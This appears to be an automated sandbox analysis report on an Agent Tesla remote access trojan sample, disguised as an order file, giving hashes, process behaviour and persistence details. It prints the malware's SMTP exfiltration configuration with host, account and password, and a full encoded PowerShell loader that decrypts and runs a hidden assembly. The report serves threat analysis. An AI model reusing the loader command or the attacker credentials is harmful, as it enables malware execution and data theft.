Analysis
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max time kernel
148s -
max time network
104s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
14-05-2024 07:41
Static task
static1
Behavioral task
behavioral1
Sample
order KHLN2024011801.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
order KHLN2024011801.exe
Resource
win10v2004-20240426-en
General
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Target
order KHLN2024011801.exe
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Size
945KB
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MD5
05a11109178bfa121c9809eb376a7f05
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SHA1
336c4c6e5ac8b4f5c7bf0078fd60591dc99c7eee
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SHA256
b38b57bd45b655389941d0730e86e6092b7e8b90d4362be15eba54ba8115e826
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SHA512
03317577d4015c8e8c96e46ee0d8efe185787c1f2ca450e040e54218b7168048fc72f1e73c4acbc0431bc662c144cf15d60209c710d0d2ac64c812dbf4cef94d
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SSDEEP
12288:sthlOddH0IyXDvjhOLEl/1LvMj/2EcZt8kcAugZHY9gLg6bFScqo9RA1+scUMzrA:stbIyTFaWUcn8/AuM0oCRcjrjs
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
smtp.ar-lupum.com - Port:
587 - Username:
[email protected] - Password:
UvRjG%@@7 - Email To:
[email protected]
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YZbrmyt = "C:\\Users\\Admin\\AppData\\Roaming\\YZbrmyt\\YZbrmyt.exe" msbuild.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3064 set thread context of 4184 3064 powershell.exe 98 -
pid Process 3064 powershell.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 3064 powershell.exe 3064 powershell.exe 3064 powershell.exe 3064 powershell.exe 3064 powershell.exe 4184 msbuild.exe 4184 msbuild.exe 4184 msbuild.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3064 powershell.exe Token: SeDebugPrivilege 4184 msbuild.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4184 msbuild.exe -
Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 4372 wrote to memory of 3064 4372 order KHLN2024011801.exe 84 PID 4372 wrote to memory of 3064 4372 order KHLN2024011801.exe 84 PID 3064 wrote to memory of 4588 3064 powershell.exe 97 PID 3064 wrote to memory of 4588 3064 powershell.exe 97 PID 3064 wrote to memory of 4588 3064 powershell.exe 97 PID 3064 wrote to memory of 4184 3064 powershell.exe 98 PID 3064 wrote to memory of 4184 3064 powershell.exe 98 PID 3064 wrote to memory of 4184 3064 powershell.exe 98 PID 3064 wrote to memory of 4184 3064 powershell.exe 98 PID 3064 wrote to memory of 4184 3064 powershell.exe 98 PID 3064 wrote to memory of 4184 3064 powershell.exe 98 PID 3064 wrote to memory of 4184 3064 powershell.exe 98 PID 3064 wrote to memory of 4184 3064 powershell.exe 98 PID 3064 wrote to memory of 5092 3064 powershell.exe 99 PID 3064 wrote to memory of 5092 3064 powershell.exe 99 PID 3064 wrote to memory of 5092 3064 powershell.exe 99
Processes
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C:\Users\Admin\AppData\Local\Temp\order KHLN2024011801.exe"C:\Users\Admin\AppData\Local\Temp\order KHLN2024011801.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4372 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgANQAwADAAMAApAAoACgAkAFQAZQBtAHAARABpAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAKACQAUABhAHQAdABlAHIAbgAgAD0AIAAnAGYAaQBsAGUALQAqAC4AcAB1AHQAaQBrACcACgAkAEwAYQB0AGUAcwB0AEYAaQBsAGUAIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAVABlAG0AcABEAGkAcgAgAC0ARgBpAGwAdABlAHIAIAAkAFAAYQB0AHQAZQByAG4AIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAATABhAHMAdABXAHIAaQB0AGUAVABpAG0AZQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxAAoACgBmAHUAbgBjAHQAaQBvAG4AIADjicZbIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAKWUGVMsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkABFUz5EsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAHBlbmMKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAKBSxltoViAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJACgUsZbaFYuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBDAEIAQwAKACAAIAAgACAAJACgUsZbaFYuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFAASwBDAFMANwAKAAoAIAAgACAAIAAkAOOJxltoViAAPQAgACQAoFLGW2hWLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQApZQZUywAIAAkABFUz5EpAAoAIAAgACAAIAAkAOOJxltwZW5jIAA9ACAAJADjicZbaFYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAHBlbmMsACAAMAAsACAAJABwZW5jLgBMAGUAbgBnAHQAaAApAAoACQAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAOOJxltwZW5jCgB9AAoACgAkAKWUGVMgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAA3AEIALAAgADAAeAAwAEUALAAgADAAeABFAEMALAAgADAAeAA3ADIALAAgADAAeAA4ADAALAAgADAAeABDADcALAAgADAAeABDAEUALAAgADAAeAAzAEEALAAgADAAeABCAEYALAAgADAAeABDAEIALAAgADAAeABEAEIALAAgADAAeAA4ADcALAAgADAAeAA3ADkALAAgADAAeAAxAEQALAAgADAAeABEADUALAAgADAAeAA4AEUALAAgADAAeABFADUALAAgADAAeAAzADkALAAgADAAeABBADMALAAgADAAeAA3ADAALAAgADAAeAAyAEEALAAgADAAeAA1AEQALAAgADAAeABFADEALAAgADAAeAAzAEEALAAgADAAeABDADUALAAgADAAeAA0ADUALAAgADAAeABGADYALAAgADAAeABCADcALAAgADAAeABGADEALAAgADAAeAA5ADYALAAgADAAeABGAEQALAAgADAAeAA3AEEAKQAKACQAEVTPkSAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4AEIARgAsACAAMAB4ADQARQAsACAAMAB4ADcANgAsACAAMAB4ADUAMAAsACAAMAB4ADAANQAsACAAMAB4ADMAOAAsACAAMAB4AEIAMgAsACAAMAB4ADQAQwAsACAAMAB4ADAARQAsACAAMAB4ADcANAAsACAAMAB4ADEAOQAsACAAMAB4ADkANgAsACAAMAB4ADMAQgAsACAAMAB4AEIAQQAsACAAMAB4ADIANQAsACAAMAB4AEMARgApAAoACgBpAGYAIAAoACQATABhAHQAZQBzAHQARgBpAGwAZQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAIdl9k7vjYRfIAA9ACAAJABMAGEAdABlAHMAdABGAGkAbABlAC4ARgB1AGwAbABOAGEAbQBlAAoAIAAgACAAIAAkAKBSxltXW4KCIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAIdl9k7vjYRfKQA7AAoAIAAgACAAIAAkAOOJxluFUblbIAA9ACAA44nGWyAALQCllBlTIAAkAKWUGVMgAC0AEVTPkSAAJAARVM+RIAAtAHBlbmMgACQAoFLGW1dbgoIKAAoAIAAgACAAIAAkAAt6j17GliAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQA44nGW4VRuVspACkAOwAKACAAIAAgACAAJABlUeNTuXAgAD0AIAAkAAt6j17Gli4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7AAoAIAAgACAAIAAkAGVR41O5cC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA2⤵
- Suspicious use of SetThreadContext
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3064 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"3⤵PID:4588
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"3⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4184
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"3⤵PID:5092
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
21KB
MD5f298985ee6fdf4468631bc50feae3817
SHA119b6d9f674d138d72b61458715747ccac04f2a3f
SHA2568747c06c910c466e552c8c30bed77835282b92ba94c8d02841c0e5c6044dde00
SHA5129c059453dd1308041cf35a267620e28236bb48c0dac5777d575b901a584730dac92576c934f88895727b23a26a523e39d77431d0ef2a554d1cd3fd5e6c10d51f